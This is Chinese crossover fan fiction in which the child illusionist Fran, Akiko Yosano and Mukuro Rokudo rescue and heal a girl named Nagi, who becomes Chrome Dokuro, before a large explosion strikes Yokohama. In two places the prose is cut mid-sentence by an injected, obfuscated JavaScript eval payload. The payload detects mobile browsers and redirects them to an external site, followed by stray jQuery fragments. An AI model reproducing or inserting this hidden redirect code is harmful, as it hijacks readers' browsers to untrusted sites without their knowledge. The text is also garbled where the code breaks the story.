三花猫则伸出带着倒刺的舌头,慢条斯理地梳理着前爪上橘黑相间的毛发,姿态优雅得如同一位贵族。虽然它的品种和性别确实在猫界算得上贵族。 就在弗兰的“冰淇淋星球”即将宣告坍塌时,晶子的声音毫无预兆地响起,打破了这片黏着的寂静。 “喂,弗兰。”她没回头,依旧看着窗外刺眼的光斑,声音很轻,却像颗小石子投入平静的水面。 “嗯?”弗兰正试图用勺子挽救最后一点冰淇淋“陆地”,漫不经心地应了一声。 “下个星期,”晶子停顿了一下,似乎在组织语言,又像是下定了某种决心,“我做完这周,就不在这里了。” 弗兰戳冰淇淋的动作停住了。他抬起头,看向柜台后少女纤细却挺直的背影。 “你终于发现店里的工资太低于是准备离职了?那你发现的还蛮早的。” 晶子转过身,看着弗兰那双没什么情绪波动的绿色眼睛,清晰地说道:“我向陆军医院提交了申请。他们…接受了。做完这边的事情,我就去那边。” 空气仿佛凝固了一瞬。明明不在海边,他却仿佛又听到海浪拍打礁石的声音,尖锐得刺耳。 弗兰沉默地看着晶子。 几秒钟后,他低下头,继续用木勺戳着那摊彻底化作奶白色泥泞的冰淇淋。塑料小勺戳在纸杯底部,发出单调而沉闷的“笃笃”声。 三花猫也停止了舔毛,金色双瞳在弗兰和晶子之间缓缓转动,带着洞悉一切的幽深。 “哦。”弗兰终于应了一声,语气平淡得像在说“今天冰淇淋化了”。 他拿起旁边的吸管,慢吞吞地插进融化的冰淇淋里,吸了一大口,然后才抬起眼皮,看向晶子紧绷的脸。 “所以,你要去那边救人了?”他歪了歪头,青绿的头发滑到一边,“可是我记得,现在局势很紧张,战争马上就要爆发了吧,你这个时候去真的好吗?” “你真的做好了上战场的准备了吗?” 晶子的呼吸猛地一窒,她盯着弗兰,胸口剧烈起伏了一下,像是被这句话狠狠刺中了。 然而,预想中的怒火或者训斥并没有爆发。她只是死死地盯着弗兰看了几秒,眼神复杂得如同打翻的颜料盘,愤怒、委屈、倔强、还有一丝不易察觉的茫然混杂在一起。 最终,她猛地转过身,肩膀绷得像块石头,用力地擦拭着刚刚已经擦的噌亮的玻璃杯,发出刺耳的摩擦声。 “随你怎么说!”她的声音从牙缝里挤出来,带着强抑的颤抖,“反正……反正我决定了!我也会努力改变的!” 弗兰吸光了最后一点融化的冰淇淋,发出响亮的“滋溜”声。 他放下空杯,目光转向安静蹲坐在一旁的三花猫。猫咪金色的瞳孔在午后的斜阳里闪着微光,安静地回望着他。 “老师,”弗兰伸出沾着冰淇淋渍的手指,轻轻碰了碰三花猫冰凉的鼻尖,语气依旧平板无波,却仿佛在对它解释,“老师比某个姐姐聪明多了。” 他收回手指,在桌布上蹭了蹭。“至少,不会强迫自己成长。” 这话没头没尾,像是对空气的抱怨,又像是对某个存在的嘲讽。 三花猫的尾巴优雅地卷过来,尾尖极其轻柔地、带着点安抚意味地扫过弗兰的手腕。 …… 粘稠的白日沉入黑暗的深渊。 城市的喧嚣被厚厚的夜幕过滤,只剩下窗外不知疲倦的风声,编织着一张单调而庞大的声网。 弗兰小小的身体陷在柔软的床铺里,呼吸均匀,嫩绿色的头发在枕头上散开,像一捧奇异的水草。 毫无征兆地,熟悉的、令人骨髓发冷的靛青色雾气弥漫开来。冰冷、潮湿、带着铁锈和深海淤泥的气味,瞬间侵蚀了温馨的卧室景象。 一个身影在这片非现实的、流动的靛青色星云背景中逐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644044|172737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐凝聚成型。 “Kufufufu……”低沉沙哑的笑声在弗兰的意识深处荡开,带着金属摩擦的冰冷质感,直接敲打着他的神经,“我愚蠢的小徒弟,看来你最近……玩得很开心?” 弗兰身上还穿着印有卡通青蛙图案的睡衣,与周围诡谲恐怖的幻境格格不入。他脸上没有任何面对可怖景象时应有的惊慌,依旧是那副万年不变的、仿佛刚睡醒的困倦表情。 “嗯,”弗兰含糊地应了一声,指尖的雾气小猫正尝试用幻术变出的“爪子”去够一团飘过的星尘,“反正比在师父身边训练要开心。” “哦呀,看来你交到了不错的朋友。”面前靛色头发的少年笑吟吟的望着他,“不过今天我来不是为了训练,而是有别的事。” 四周粘稠的靛青色雾气骤然沸腾、凝聚!无数条闪烁着寒光、由纯粹恶意和精神力构成的毒蛇凭空出现,嘶嘶吐着猩红的信子,如同离弦的箭矢,从四面八方朝着弗兰噬咬而去! 弗兰条件反射就要抱住自己的苹果帽,结果手一挥抓了个空才想起来刚刚睡觉的时候将帽子摘下了。 就在那些毒蛇即将触及他睡衣的刹那,那些狰狞的毒蛇如同撞上了一堵无形的、滑腻的墙壁,瞬间扭曲、变形、溃散,还原成最原始的靛青色雾气,无声无息地融入了周围的环境,仿佛从未存在过。 “嘴上说着不训练,转头居然偷袭,师父你不讲武德!” “说什么呢臭小鬼,这是在锻炼你的警惕心。”他随手幻化出自己的三叉戟一把穿透了弗兰刚刚做出来的帽子。 “这次来是有个事情要你去做。” “诶?!有什么事情居然让师父拜托me去做的,快让me看看今天的太阳是从哪边出来的。” “哼……”一声冰冷的鼻音,带着被彻底无视的愠怒。异瞳的少年手一挥将两人身边的狼藉都清了个干净,四周场景如褪色一般变成了一片白。 “我记得你在横滨对吧,你现在去那边的陆军医院找一个叫‘凪’的女孩。”六道骸眯着眼看着眼前小孩柔顺的发型,不知道在想什么,但是弗兰莫名的感觉背后一凉。 “那孩子是少有的除了你之外,能连接到我精神世界的人。她现在状况不是很好,你要想办法把她带到并盛町来。” “师父你真的很会给人出难题诶——”弗兰终于舍得将目光从手里的雾气小猫移开,“不过…并盛町?师傅终于决定去那里开水果店了吗?而且你之前不是说要我在家乡等你来找me的吗。” “Kufufufu……”六道骸发出意义不明的笑声,血红的右眼中数字“六”疯狂闪烁,“嗯?你终于自己幻想出不存在的记忆了吗,我什么时候说过这种话。而且那里…有颗值得打磨的‘钻石’。我需要你去‘帮忙’。” 他刻意加重了“帮忙”两个字,其中的意味不言而喻。 “帮忙?”他重复着这个词,语气平板得像在念说明书,“确定不是帮倒忙?” 他的指尖触碰到了幻化出的小凤梨。 噗。一声极其轻微的,如同气泡破裂的声响。 “听起来……”弗兰收回手指,吹了吹并不存在的灰尘,声音里带着一丝毫不掩饰的敷衍,“比我家大人们的事情还要麻烦啊。” 他抬起眼皮,对上六道骸那双翻涌着不明情绪的异色瞳,慢悠悠地补充道,“而且,师傅你的凤梨头……”他停顿了一下,似乎在寻找一个最贴切的形容词,“……很中二,正常人都不会留这种发型的吧。你真的不考虑换个发型吗。” 说完,他甚至还打了个小小的哈欠,眼角挤出了一点生理性的泪花。 幻境剧烈地波动了一下,靛青色的雾气如同被投入巨石的湖面般疯狂扭曲。弗兰小小的身影像信号不良的电视画面,开始闪烁、淡化。 “啊,”弗兰低头看了看自己变得有些透明的双手,语气毫无诚意,“我的监护人好像要查房了。师父再见。” 他甚至还象征性地挥了挥正在消失的手,“下次带凤梨罐头来看你。” 7.航海之路(七) “咔嚓” 房门被轻轻推开了,弗兰睁大眼睛和门口的大人对上了视线。 “怎么还没睡?要我告诉你现在几点了吗?”魏尔伦半倚着门压低了声音,但也只是自欺欺人,想必隔壁房间的兰波也已经醒了。 “me刚刚做噩梦吓醒了而已,话说你半夜来me房间做什么,没想到你也是那种不看一眼孩子就会焦虑的大人吗。” 对方眯起眼环视了一圈,淡声道:“没什么,只是刚刚好像感觉到奇怪的气息……大概是我的错觉吧。” 房门再次关上,世界彻底陷入了安静之中。 …… 天刚蒙蒙亮,灰白的光线勉强勾勒出街道的轮廓。 弗兰小小的身影跑得跌跌撞撞,衣服裤子沾满了晨露和路边的尘土。他气喘吁吁地拍着那扇熟悉的门。 门开了,与谢野晶子顶着一头睡得乱糟糟的短发,睡眼惺忪,手里还下意识地攥着一本厚厚的、硬壳精装的解剖图谱,封面上复杂的人体血管网清晰得有些刺眼。 “弗兰?”晶子揉着眼睛,声音带着浓浓的鼻音,“这才几点?你终于被家里人赶出来了啊?”她打了个哈欠,宽松的睡衣袖子滑落,露出一截胳膊。 弗兰喘着粗气,紧紧抓住晶子睡衣的下摆,仰着脸,那双平日里缺乏情绪起伏的青色眼睛里,此刻清晰地映着一种孩童特有的、纯粹的恐慌,“晶子姐姐,帮帮我……只有你能救人了!” 本来弗兰打算美美一觉睡到自然醒再去处理师父交给他的事情,但是他一闭上眼意识世界就开始雾气弥漫,随后他看到了一个十分痛苦的小女孩。 他后知后觉才想起来,可能由于战况紧张,现在的陆军医院主要接收的都是那种重症患者,普通病人都送到旁边普通医院治疗了。 那位叫‘凪’的女生万一没能熬过去怎么办。虽然师父没有说带过去的是要活的还是死的……这怎么想都不太对劲吧! 为此他特意早早起床,路过餐厅时还被已经坐在那喝着红茶看报纸的兰波打量了很久,看得他直冒冷汗。 晶子的睡意瞬间跑得无影无踪。 她认识弗兰的时间不短,这个总是没什么表情、说话也怪里怪气的小鬼,此刻流露出的不安异常真实。 她放下那本厚重的图谱,发出沉闷的“咚”一声,果断地点头:“等着!”随后转身冲回屋里,一阵翻箱倒柜的响动后,再出来时已经套上了外出的小外套,腰间斜挎着一个小医疗包。 她反手锁上门,一把拉住弗兰冰凉的小手:“走!带路!” 医院那特有的消毒水混合着某种挥之不去的、若有若无的药物苦涩的气味,随着他们踏入大门而扑面涌来。 走廊漫长、冰冷,惨白的灯光照在同样冷白的墙壁上。医护人员并不多,大多都是情绪崩溃或是安静坐着的病患家属,这里像是个巨大的感情漩涡将所有的情绪包含在里面。 弗兰凭着梦里模糊的指引和一种奇异的直觉,拉着晶子,脚步在光滑的地板上敲出细碎的回音,最终停在某间病房门口。 走廊的尽头,压抑的哭泣和激烈的抱怨正从里面泄出来,像冰冷的针,扎进两个孩子的耳朵。 “为什么偏偏是现在!”女人焦躁的声音拔得很高,带着一种被精心修饰过、此刻却完全失控的尖利,“下个月就是我的新剧发布会!档期全都排满了!你知道要协调这些有多难吗?” 她穿着剪裁考究的米白色套装,妆容依旧一丝不苟,只是精心描绘的眉眼间只剩下赤裸裸的怨怼和愤怒。她烦躁地用手指卷着自己染成栗色的卷发,昂贵的香水味也压不住她身上散发出的焦虑。 靠在墙边的查房护士脸色疲惫,嘴唇抿成一条紧绷的直线,显然已经听够了这些抱怨。 她瞥了一眼远处重症病房的门,压低声音,带着职业性的克制:“森山太太,请您理解,凪小姐的情况非常严重。她需要绝对的静养和……” “静养?静养!”被称作森山太太的女人像是被踩了尾巴,猛地转过身,涂着鲜红蔻丹的手指几乎要戳到护士脸上,“那谁来理解我?我的损失谁来补偿?你知道她这次手术花了多少钱吗?后续还要多少?简直是个无底洞!” 她胸口剧烈起伏着,保养得宜的脸上因为激动而扭曲,“那个蠢货!就为了一只野猫!一只脏兮兮的野猫!她脑子是不是有问题?现在好了,眼睛瞎了一只……她以后怎么办?难道要我养这个废物一辈子吗?”她越说越气,声音不受控制地拔高,尖锐得如同玻璃刮擦,“早知道这样,当初就不该……” 短暂的沉默,另一个低沉得多的男声响起,带着显而易见的烦躁和不耐:“行了,别在医院吵吵嚷嚷的,像什么样子!医生说她的情况暂时稳定了。公司那边并购案正到关键时候,一堆文件等着我签字,下午还要去大阪谈条件……我待会儿还有个会,先走了,剩下的你看着办吧。” 脚步声随即响起,快速远去,带着一种甩脱包袱般的迫不及待。 透过门缝,弗兰和晶子看到病房内的情况。一个瘦弱得几乎陷进白色被褥里的女孩,脸上罩着透明的氧气面罩,半张脸都被遮住了,只露出紧闭的眼睛和散落在枕头上、毫无光泽的紫色短发。 她的胸口随着呼吸面罩的节奏微弱起伏,身上连接着好几条管子,床边的心电监护仪发出规律而冰冷的“嘀、嘀”声,屏幕上跳跃的绿色线条勾勒着脆弱的生命迹象。 女孩露在被子外的手瘦得皮包骨头,手背上插着留置针,青色的血管清晰可见。 晶子的手在身侧猛地攥紧成拳,指关节捏得发白,那双总是带着点锐利和审视的眼睛里,此刻燃起了熊熊怒火,几乎要喷涌出来。 她死死盯着男人离去的走廊方向,牙齿咬得咯咯作响。弗兰则一眨不眨地看着病床上那个小小的身影,梦里的雾气似乎在这个瞬间找到了现实的锚点——就是她。 一个护士抱着装药品的盒子经过,看到两个明显不是家属的孩子站在门口,叹了口气,低声快速说道:“306号房,凪。你们是她的朋友来看她的吗?可怜的孩子……听说是为了救一只冲到马路中间的猫,自己被来不及刹车的货车卷了进去。” 护士的声音压得更低,带着浓重的同情,“右眼球当场就…摘除了。更麻烦的是内脏……她一直高烧不退,能撑到现在,真是奇迹了。”她摇摇头,抱着盒子匆匆走了。 晶子胸口的起伏更加剧烈,怒火在她胸腔里冲撞。她猛地扭过头,不再看病房里面,一旁的弗兰也微微侧过头。 还好,只要还活着,晶子都能救的。 走廊的脚步声终于彻底消失,只剩下医院特有的空洞寂静。 晶子深吸一口气,仿佛要将满腔的怒火暂时压下,她猛地推开病房门,动作带着一种不容置疑的决绝。弗兰跟在她身后,像一个小小的尾巴。 病房里异常安静,只有仪器单调的“嘀嘀”声在回响。 她几步就跨到了病床边,动作麻利地放下肩上那个小巧的急救包,金属搭扣碰撞发出清脆的声响,眼神重新变得锐利而专注。 随后摊开小小的手掌,悬停在凪身体上方,目光紧紧锁定那些代表生命流逝的冰冷曲线。 一种无形的、强大的力量开始在她掌心凝聚,空气仿佛都随之微微震颤。她稚嫩的脸庞上浮现出与年龄极不相符的肃穆和专注。 「请君勿死」 随着她清冽而坚定的低喝,一团温暖得近乎神圣的绿色光芒骤然从她掌心爆发出来,瞬间驱散了病房的阴冷与死寂。 光芒温柔地笼罩住凪小小的身体,渗透进每一寸肌肤,每一根骨骼。 光芒中,细微而奇异的景象发生了:凪凹陷的腹部肉眼可见地开始起伏、扩张,像干瘪的皮囊被重新注入了生机;被摘除的右眼窝深处,血肉和神经如同被无形的巧手飞速编织,眼球的轮廓在光芒中由模糊到清晰;皮肤下传来轻微的、令人牙酸的骨骼摩擦复位声;仪器屏幕上那条几乎拉成直线的微弱生命曲线,如同被一只无形的手猛地向上拽起,开始剧烈地波动、攀升,心率、血压、血氧饱和度的数值疯狂跳动,从危险的红色区域一路飙升,最终稳定在健康的绿色区间。 与此同时,病床上那个一直紧闭着眼睛、戴着氧气面罩的女孩,睫毛剧烈地颤动了几下,然后,缓缓地睁开了。 露出的那只眼睛,是深邃的紫色,瞳孔里没有焦距,空茫地望着惨白的天花板。但紧接着,那只眼睛极其缓慢地、极其困难地转动了一下,视线最终落在了晶子和弗兰身上。 “……我都…听到了。” 凪的声音透过面罩传出来,微弱、沙哑,却带着一种令人心悸的平静,像深秋最后一片落叶坠地的声音,“爸爸和妈妈的话……都听到了。” 那只紫色的左眼,空洞地望着他们,里面没有泪水,只有一片被彻底冰封后的死寂荒原。仿佛所有属于孩子的光亮和希望,都在那场车祸和门外的咒骂声中,被碾得粉碎,又被这刺鼻的消毒水彻底漂白了。 “听到了正好!”晶子突然开口,声音斩钉截铁,带着一种近乎粗暴的果断,瞬间撕裂了病房里凝滞的死寂,“收起这副要哭不哭的蠢样子,再仔细感受一下,你 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“师父也不希望你一直这样颓废下去的吧。对了,也是师父叫me来帮忙的,你们应该在梦里见过了吧。” 凪的目光从苹果移到弗兰那张没什么表情的小脸上,又缓缓移向晶子那张虽然疲惫却写满“少废话”的脸。 沉默许久,她终于开口了,似乎低声念叨了一个名字,却没发出任何声音。 「骸大人」 弗兰脑海里突然响起清晰的声音。 随后她像是一下子想通了什么,声音不再像之前那样气若游丝,变得清晰了许多,却带着一种奇异的坚定。那只新生的右眼,瞳孔深处似乎沉淀下某种决绝的东西。 “凪……”她低声念出这个名字,舌尖尝到的却只有消毒水的苦涩和父母言语残留的冰冷毒液。她摇了摇头,紫色长发在脸颊边晃动。“这个名字已经不重要了。” “从今天起,我叫——”她顿了顿,一字一句,仿佛在宣告旧我的死亡与新生的契约,“库洛姆·髑髅。” …… “这个名字……有点中二了吧,真不愧是师父看中的人,完全一模一样嘛!”弗兰左手捶右手,转身露出豆豆眼,“晶子姐姐,你确定这个没有后遗症吗,比如审美上——” “闭嘴!”晶子一锤上他的苹果头套,额头蹦出青筋。 库洛姆——现在她是库洛姆了——几乎没有犹豫。她掀开被子,动作间带着一种新生命赋予的、还有些陌生的轻快感。身上那些碍事的管线被她毫不犹豫地扯掉。 她赤着脚踩在冰凉的地板上,瘦小的身体裹在宽大的病号服里,却站得笔直。她最后看了一眼这张困住她、也让她听见了世界全部冰冷的病床,然后,那只新生的右眼转向弗兰和晶子,无声地表达了跟随。 夕阳熔金,将三个孩子并肩而行的影子在身后拉得细长,如同三条执拗延伸向未知的墨线。 弗兰的家终于出现在视野尽头。门廊下空荡荡的,安静得反常。弗兰踮起脚,小手费力地够到门框上方他够得着的最高处摸索——备用钥匙冰冷的触感还在,位置还是原封不动的。 没人回来过。 门被推开,发出轻微的吱呀声。 客厅里一切如常,甚至餐桌上还放着弗兰昨天训练完没收起来的子弹。空气里弥漫着一种久未通风的、沉闷的气息。 没有熟悉的饭菜香,没有电视机的喧闹,没有大人走动的声音。只有一片令人心慌的空寂。 弗兰站在玄关,祖母绿的眼睛扫过空无一人的客厅,又看了看身后跟着的两个女孩。 晶子皱着眉,脸上是毫不掩饰的烦躁和疑惑:“搞什么鬼?你家监护人呢?” 库洛姆安静地站在弗兰身后一步远的地方,那只以前还完好的紫色左眼警惕地打量着这个陌生的空间,右眼则是找了个绷带缠住了,像一只刚被捡回、对一切充满戒备的流浪小猫。 “大概是有事还没回来吧……晚上应该会回的。” 弗兰淡淡的回答了,踮起脚打开了冰箱门,从里面拿出一盒寿司。 “你们饿了的话可以吃这个,家里暂时只有寿司和速冻饺子了,如果想吃别的也请随意。” 寿司的保质期很短,想必也是家里两个成年人知道晚上回不来了才替他准备好的。 他慢慢的从胸口的衣服领里翻出一个项链,将青色的宝石抬至眼前。透过宝石他能看到对方的大致方向。 可是。 弗兰寻着方向望了过去。 这个位置好像快靠近海边了……那两个家伙在搞什么? 8.航海之路(八) 夜,像一块沉甸甸、吸饱了墨汁的天鹅绒幕布,重重压在城市上方,连一丝星光都吝于施舍。 横滨沉睡在这片浓稠的黑暗里,只有远处港口机械沉闷的嗡鸣,以及偶尔掠过的夜风拨弄着电线,发出单调而寂寥的低语。 弗兰将自己的床让给了库洛姆,晚上还拜托晶子帮她买了几件合适的衣服。大病初愈的女孩似乎在精神上留下了阴影,哪怕那只右眼现在已经恢复如初,她仍选择用眼罩遮住。 收拾好东西,他一下子蛄蛹上兰波的床,将成年人早上叠的整整齐齐的被子铺开把自己包成一团。 如果兰波回来了肯定会无奈的帮他将被子整理好,毕竟他的睡姿还算糟糕的。 夜晚的死寂被一声巨响彻底碾碎。 那声音绝非雷鸣。 它从地底深处咆哮着挣脱出来,带着一种要撕碎整个世界的暴戾,瞬间撞碎了横滨的睡梦。 玻璃窗疯狂震颤,发出濒死的尖叫,随即在无形的冲击下纷纷爆裂,碎片如冰雹般泼洒。大地在脚下猛烈抽搐,仿佛有沉睡的巨兽在噩梦中翻了个身,整个城市骨架都在发出不堪重负的呻吟。 紧接着,是光。在西北方向遥远的天际线,一团巨大到令人窒息的橙红色火球,裹挟着翻腾不休的浓烟,蛮横地撕开夜幕,狂暴地膨胀、升腾,将半边天空涂抹成地狱入口般的诡异亮色。 弗兰猛的翻了个身重重摔到硬邦邦的地板。 那只陪伴他入睡的绿色青蛙玩偶,在剧烈的震动中滚落,被崩裂飞溅的窗玻璃碎片划破,绿色纤维里漏出惨白的填充棉絮。 他耳朵里灌满了尖锐的、持续的蜂鸣,世界在旋转,胃里翻江倒海。 “弗兰!”库洛姆的声音穿透了那层隔膜般的嗡鸣,带着刚睡醒的沙哑和无法掩饰的惊惶。她几乎是跌撞着冲进弗兰在的房间,单薄的身影在门口晃了一下才扶住门框稳住。 她顾不上自己散乱的长发和苍白的脸色,扑到弗兰身边,冰凉的手指急切地摸索着他的脸颊和手臂,声音抖得厉害:“伤到了吗?有没有哪里痛?” “哇…如果说痛的话,姐姐能抱抱我吗。”弗兰哭丧着脸甩甩头,想把耳朵里那恼人的噪音和眩晕感甩出去。 但还没等到回答,他便手脚并用的爬起来,径直扑向床头柜。那双总是没什么情绪的绿眼睛里,罕见地翻涌着一种被剧烈打扰后的烦躁和一丝难以察觉的不安。 柜子上放着他睡前解下来的项链,此时镶嵌在中间的青色宝石散发微弱的光,随后又恢复了黯淡。 “还好……这个要是碎了那可就麻烦了。” 他将宝石拿至眼前,却发现之前显示踪迹的亮光点此刻都消失了。 “兰波?魏尔伦?”弗兰的声音平板无波,小小的肩膀却紧绷起来。一种冰冷的、粘稠的东西顺着脊椎悄悄爬上来,缠绕住心脏。 他讨厌这种感觉,非常讨厌。 老实说这两个成年人在他心里的地位和别人是不同的,作为将他带离故乡和教导的人,他们在弗兰心中是无所不能的,至少他现在从未想过分离。 但是,爆炸发生的地点看起来确实和他下午从项链里看到的地方是一个方向。 应该,不会这么巧吧。 “是家里人联系不上吗?”库洛姆的声音在他身后响起,她不知何时已经蹲了下来,双手轻轻搭在他紧绷的肩膀上。 弗兰能感觉到她指尖的微颤,透过薄薄的睡衣传过来。 “也许吧,他们或许遇上什么困难了。”弗兰发出一声短促的、不耐烦的咂嘴,踢开脚边碍事的玻璃碎片,跑回房间,从里面拿出一个小背包。他手脚麻利地往里面塞东西:几块包装干硬的压缩饼干和面包,一个金属水壶,还有一个小小的看着很神秘的盒子。 “Me要去看看。”他背起那个相对而言十分幼稚的背包转过身,平静地宣布,仿佛只是在说要去楼下便利店。绿色的刘海下,那双眼睛异常明亮,带着一种不容置疑的执拗。 库洛姆看着他,没有立刻反对。她深吸一口气,那口气息似乎在她胸腔里转了一圈,带走了些微的颤抖。随后她站起身,紫瞳深处有什么东西沉淀了下来,显得异常坚定。 “好,”她点点头,声音不大,却异常清晰,“我和你一起去。” “诶?!” 弗兰看了一眼面前的少女,眨了眨眼:“库洛姆姐姐就不用去了,本来你身体就很虚弱,还是好好在家休养吧。” 他像是想到了什么,头顶的苹果叶子蔫了下来,表情也变得十分哀怨。 “要是师父知道me带你去那种地方一定会……” “一定会什么?” 话没说完,弗兰背后就泛起凉意,一个三叉戟精准无比的戳穿他的帽子,留下三个显眼的洞。 “啊,是西秀——前段时间不是才经历了一场战斗吗,看起来精神很好呢。” 他看着眼前的少女在雾气消散后出现的是熟悉的凤梨头,脸上波澜不惊。而来者像是很新奇的在屋子里逛了一圈,他看了一眼窗外混乱的景象冷哼了一声,随后找到了客厅那个最舒服的软椅坐下。 “库洛姆的事情做的不错。”六道骸穿着一身黑色风衣,里面的白衬衣松松垮垮的敞着最上面的扣子,“你先处理好这边的事情吧——和库洛姆一起,这孩子担心你。” “kufufu如果遇到危险了就呼唤我,偶尔向师父求助也不丢人吧。” …… 通向爆炸核心区域的道路已经被无形的铁壁封锁。刺眼的红蓝警灯疯狂旋转,将混乱的人影和扭曲的车辆残骸切割成诡异的碎片。 高音喇叭里循环播放着刺耳的警告,冰冷的金属路障和绷紧的警戒带像一道丑陋的伤疤,将燃烧的废墟与外界彻底隔绝。 浓重的烟尘混合着一种难以言喻的焦糊和……某种更糟的气味,弥漫在空气中,每一次呼吸都带着灼痛感。 库洛姆的手指悄然搭上弗兰的手腕。 她微阖双眼,长长的睫毛在沾染了烟灰的脸颊上投下浅淡的阴影,极细微的靛青色雾气如同拥有生命的活物,无声无息地从两人身边流淌出来,迅速弥漫在周围几米的空间里。 空气似乎发生了微妙的扭曲,光线被巧妙地折射、散射,让他们的轮廓变得模糊不清,仿佛融入了背景不断晃动的阴影和刺目的警灯光芒之中。 弗兰猫着腰拉着库洛姆在混乱的边缘快速移动。他们利用倾倒的广告牌、挤成一团的救护车、以及被巨大冲击波掀翻扭曲的车辆作为掩护,在幻术的薄弱光晕包裹下,像两尾滑溜的鱼,悄无声息地钻过了警戒线最松懈的一角,一头扎进了那片刚刚诞生的、散发着死亡气息的炼狱。 视线所及之处一片绝望的气息。 曾经矗立的楼房像是被巨人用蛮力狠狠踩踏过,只剩下犬牙交错的混凝土块和扭曲断裂的钢筋骨架,无力地刺向被烟雾笼罩的天空。 砖石瓦砾堆积如山,形成怪诞嶙峋的小丘。大火尚未完全熄灭,暗红色的火舌在废墟深处苟延残喘,舔舐着残余的可燃物,吐出滚滚浓烟。 空气中充斥着令人窒息的焦糊味、粉尘味,还有一种更浓重、更令人作呕的甜腥——那是大量鲜血被高温蒸腾后散发的铁锈气息。 “这…这是。” 库洛姆猛地停住了脚步,身体晃了一下。她脚下踩到了一截软绵绵的东西——那曾是一个穿着粉色裙子、扎着羊角辫的洋娃娃,此刻却只剩半截焦黑的上身,塑料眼睛空洞地瞪着浓烟滚滚的天空。 她下意识地伸出手,想去遮住弗兰的眼睛。 “……如果不是亲眼所见,me还以为这是什么电影场景。” 他摇了摇头表示不用,环顾四周。 救援人员橘红色的身影在浓烟和瓦砾间艰难地移动,像绝望的萤火。担架在碎石上颠簸,上面覆盖的白布勾勒出僵硬的、大小不一的轮廓。痛苦的呻吟、压抑的哭泣、还有搜寻者嘶哑的呼喊……各种声音交织成一片绝望的嗡鸣,撞击着耳膜。 一种冰冷的、尖锐的东西,比刚才在房间里感受到的更甚,猛地攫住了弗兰的心脏,并且开始用力绞紧。 他讨厌这种感觉,非常非常讨厌。 就在这时,他脖子上那根不起眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664230|172737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的项链突然亮了起来! 项链中央镶嵌着的那颗做工精细、原本毫不起眼的青色宝石,毫无征兆地爆发出刺目的光芒!绿光穿透了弥漫的烟尘,像一颗骤然点亮的星辰,直直指向废墟深处某个特定的方向。 那光芒炽热得几乎要灼伤弗兰的皮肤。 在那边吗! 弗兰猛地扭头,朝着光芒指引的方向望去。视线尽头,只有一片翻腾的、还没散去浓稠的烟幕,如同沸腾的墨汁。 光芒持续了不到两秒钟,如同燃尽的烛火,骤然熄灭。那颗宝石发出一声极其细微的、如同叹息般的“咔”轻响,表面瞬间布满了蛛网般的裂纹,彻底黯淡下去,只留下皮肤上残留的刺痛感。 “混蛋金毛和长毛厨房杀手……”弗兰看看脖子上那颗布满裂痕、死气沉沉的宝石项链,平板无波的语调里第一次清晰地透出压抑不住的愤怒和委屈。 “搞出这么大动静,自己却消失了?真是超级——大笨蛋!” 横滨的混乱在表面逐渐沉淀,如同浑浊的水流,将最深的污秽暂时压在了底部。但那份沉重并未消散,只是转换了形态,沉甸甸地压在每一个角落。 弗兰和库洛姆像两只失去巢穴的幼兽,白天在城市的阴影里穿行。 他们翻遍了官方设立的临时安置点,挤在焦虑不安的人群中,踮起脚,目光一遍遍扫过名单上那些密密麻麻、不断增加的名字和无名氏——伤者、失踪者、死者。 没有“兰波”,也没有“魏尔伦”。想来也是,这两人带他来日本好像也并非走的正常流程,要是能在官方的名单上看到才是奇了怪。 他们偶尔会利用幻术的遮掩去爆炸的中心地带寻找,可惜一无所获。 夜幕降临,白日的徒劳无功带来的疲惫和更深沉的不安并未放过他们。回到家里,弗兰几乎是头一沾到薄枕头,意识就被一股无可抗拒的力量拽入了另一个维度。 天空是奇怪的红色,脚下踩着的草地沾满潮湿的气息,偶尔会有奇怪的水泡在空气中浮现着靠近。 弗兰和库洛姆的身影在这片空间中显得渺小而脆弱。 库洛姆手中紧握的银色三叉戟闪烁着冰冷的光泽,靛青色的雾气在她周身艰难地凝聚、扭曲,试图构筑起防御或迷惑的屏障,却又不断被无形的精神压力碾碎,只能艰难的用三叉戟配合幻术将水泡击碎。 “库洛姆姐姐,太慢了——” 弗兰坐在草地上,手一伸从空气中拿出一个喇叭喊道。两人做的是同样的训练,奇怪的是那些水泡在靠近他几米的地方就停滞不前了。 “你该叫师姐。”六道骸的身影在水波纹中凝聚成形。 “下次再做出这种滑稽的头套就去地狱轮回吧。” 他依旧是那身熟悉的黑色风衣,异色的双瞳在燃烧的天空下流转着非人的冰冷光泽,右眼中血红的“六”字如同烙印。他手中的三叉戟随意一挥,轻易将弗兰刚凝聚出的菠萝头套虚影搅碎成虚无的粒子。 “这种话好像在哪听过诶……而且明明me才是先入门的吧,抗议——” “kufufu抗议无效。”看着才高中生模样的少年眯起眼笑了笑,视线扫过库洛姆苍白却强撑着倔强的脸,随后定格在弗兰身上,“给你们的时间已经够多了,现在留在这里,除了在垃圾堆里翻找无用的残骸,毫无意义。” “徒劳的等待是没用的,你们也该去看看了,所谓黑手党的风情。” 声音落下的瞬间,梦境彻底崩解。 